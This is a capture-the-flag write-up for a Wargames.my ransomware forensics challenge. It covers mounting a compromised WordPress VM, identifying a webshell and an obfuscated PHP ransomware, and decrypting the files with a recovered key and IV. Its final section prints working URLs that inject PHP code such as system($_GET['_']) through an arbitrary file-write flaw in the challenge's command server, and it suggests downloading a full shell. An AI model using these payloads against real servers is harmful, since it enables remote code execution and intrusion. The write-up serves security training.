1. Introduction
After downloading lordkiske-server.ova, use the sha256sum command to get the hash. The flag: wgmy{the_sha256_hash}
To make the following steps easier, I decided to extract the lordkiske-server.ova and mount the VMDK image inside it instead of loading it using a hypervisor. This is not really necessary, I just want to make copy-and-pasting easier.
$ tar -xvf lordkiske-server.ova $ ls -la -rw-r--r-- someone/someone 14545 2020-12-05 04:12 lordkiske server.ovf -rw-r--r-- someone/someone 197 2020-12-05 04:12 lordkiske server.mf -rw-r--r-- someone/someone 1890042880 2020-12-05 04:13 lordkiske_server-disk1.vmdk
Then I mounted the VMDK image using the guestmount command which can be obtained by installing the libguestfs package (Arch Linux). It can then be accessed via the /mnt directory.
$ guestmount -a lordkiske_server-disk1.vmdk -i --ro /mnt
There are 2 files that we need to focus on:
- /var/www/html/wp-content/uploads/b404.php
- /var/log/apache2/access.log
I copied these two files (and /etc/passwd) into another location to make it easier to work with.
2. Attacker IP
In order to determine the attacker IP, first we must find the shell that the attacker uploaded. Then we need to find the shell file name inside the apache access log. In a WordPress installation, most shells usually reside in WORDPRESSFOLDER/wp-content/uploads/*
Flags:
- wgmy{md5 of the ip}
We have solved it 🙂
3. Path and hash of webshell and ransomware
Previously we have found 2 sketchy files, namely b404.php and we.php. How do we determine which is the webshell and the ransomware? First, we need to deobfuscate them. b404.php is much more simple to deobfuscate, so let’s try that.
The file can be decoded easily by changing “eval” to “echo“, or you can use an online tool like ddecode if you want.
After analyzing the source code, we can determine that b404.php is the ransomware and we.php is the webshell
Same as before, we can use a command line utility to calculate the hash. This time we need to use sha1sum
Flags:
- wgmy{md5 of absolute path of we.php}
- wgmy{sha1sum of we.php}
- wgmy{md5 of absolute path of b404.php}
- wgmy{sha1sum of b404.php}
4. CnC hostname and exploit used
The CnC hostname can be found inside the decoded version of b404.php
To find the exploit used, we need to refer to the access log and find the first occurrence of we.php, because the webshell must appear in the log soon after the exploit was done.
Hmm, the ait-csv-import-export plugin looks kind of interesting. A web shell appearing right after a POST request to an uploader? 🙂 Just search something along the line of “ait csv import export exploit 0day” on Google, it should bring you to the right answer.
Flags:
- wgmy{md5 of musangkeng.wargames.my}
- wgmy{md5 of wpvdbid10471}
5. Restoration of lordkiske’s site
The restoration challenge can be done in two ways:
- Calculate the key and IV and use it to decrypt the file
- Hacking the CnC to obtain the key and IV
In order to encrypt or decrypt a file, we need two variables: a secret key ($key) and a secret initialization vector/iv ($iv)
These two variables are generated when the ransomware executes. $key depends on the HTTP host, timestamp and a hash. These information are sent back to the CnC to generate the key and the key will be returned back to us in response. Meanwhile, $iv depends on the content of /etc/passwd and the user agent of the person who executed the ransomware. $key and $iv variables will be sent back to the CnC.
The key can be calculated if we have the value of HTTP_HOST and the timestamp at which the ransomware was executed. Search for “b404.php” in the access log
The access log contains the value for HTTP_HOST, the user agent value ($aa), and the date at which b404.php was accessed. The date inside the access log is not in UNIX timestamp format, so we have to convert it first. Using an online calculator should suffice. Before converting, remember what hint 1 says: “the date supposed to be 04/Dec“, therefore the actual date is 04/Dec/2020:19:11:58 +0000. After converting that date to UNIX timestamp we will get “1607109118“.
This is how the file looks like now:
Before we execute this file, we need to define the dec function and add it to the file. This function can also be obtained from the CnC, but I decided to use my PHP prowess instead
function dec($string, $secret_key, $secret_iv)
{
$encrypt_method = "AES-256-CBC";
$key = hash('sha256', $secret_key);
$iv = substr(hash('sha256', $secret_iv), 0, 16);
return openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);
}
Flag: wgmy{9ed95e1721c3aab37bd7c67496f868a2}
6. Hack the hacker
A ransom note will be generated if we access this url:
What if we change the host parameter to something sketchy?
http://musangkeng.wargames.my/getnote.php?host=<?="helloworld";?> &key=3fe26007e4c66a5d650f9d373ba27ee2cdb61d11
What if we change the key parameter to something sketchy as well?
http://musangkeng.wargames.my/getnote.php?host=<?="helloworld";?> &key=3fe26007e4c66a5d650f9d373ba27ee2cdb61d11.php
The file name is appended with “.php” and the PHP code executes normally!
So, there is an arbitrary file write vulnerability here. GET parameter host can be anything while key can be any valid file name
http://musangkeng.wargames.my/getnote.php?host=<?=system($_GET['_']);?> &key=3fe26007e4c66a5d650f9d373ba27ee2cdb61d11.php then http://musangkeng.wargames.my/notes/3fe26007e4c66a5d650f9d373ba27ee2cdb61d11.php?_=ls%20-la
If we change the GET parameter “_” to “cat /flag.txt”, we get our flag 🙂
Flag: wgmy{771341f6a19a96560311ca36c6b6a5da}
If you want to do the restoration challenge this way, repeat the steps above and use the shell to list all files in other directories. Alternatively, you can wget a full-blown shell and explore the file system
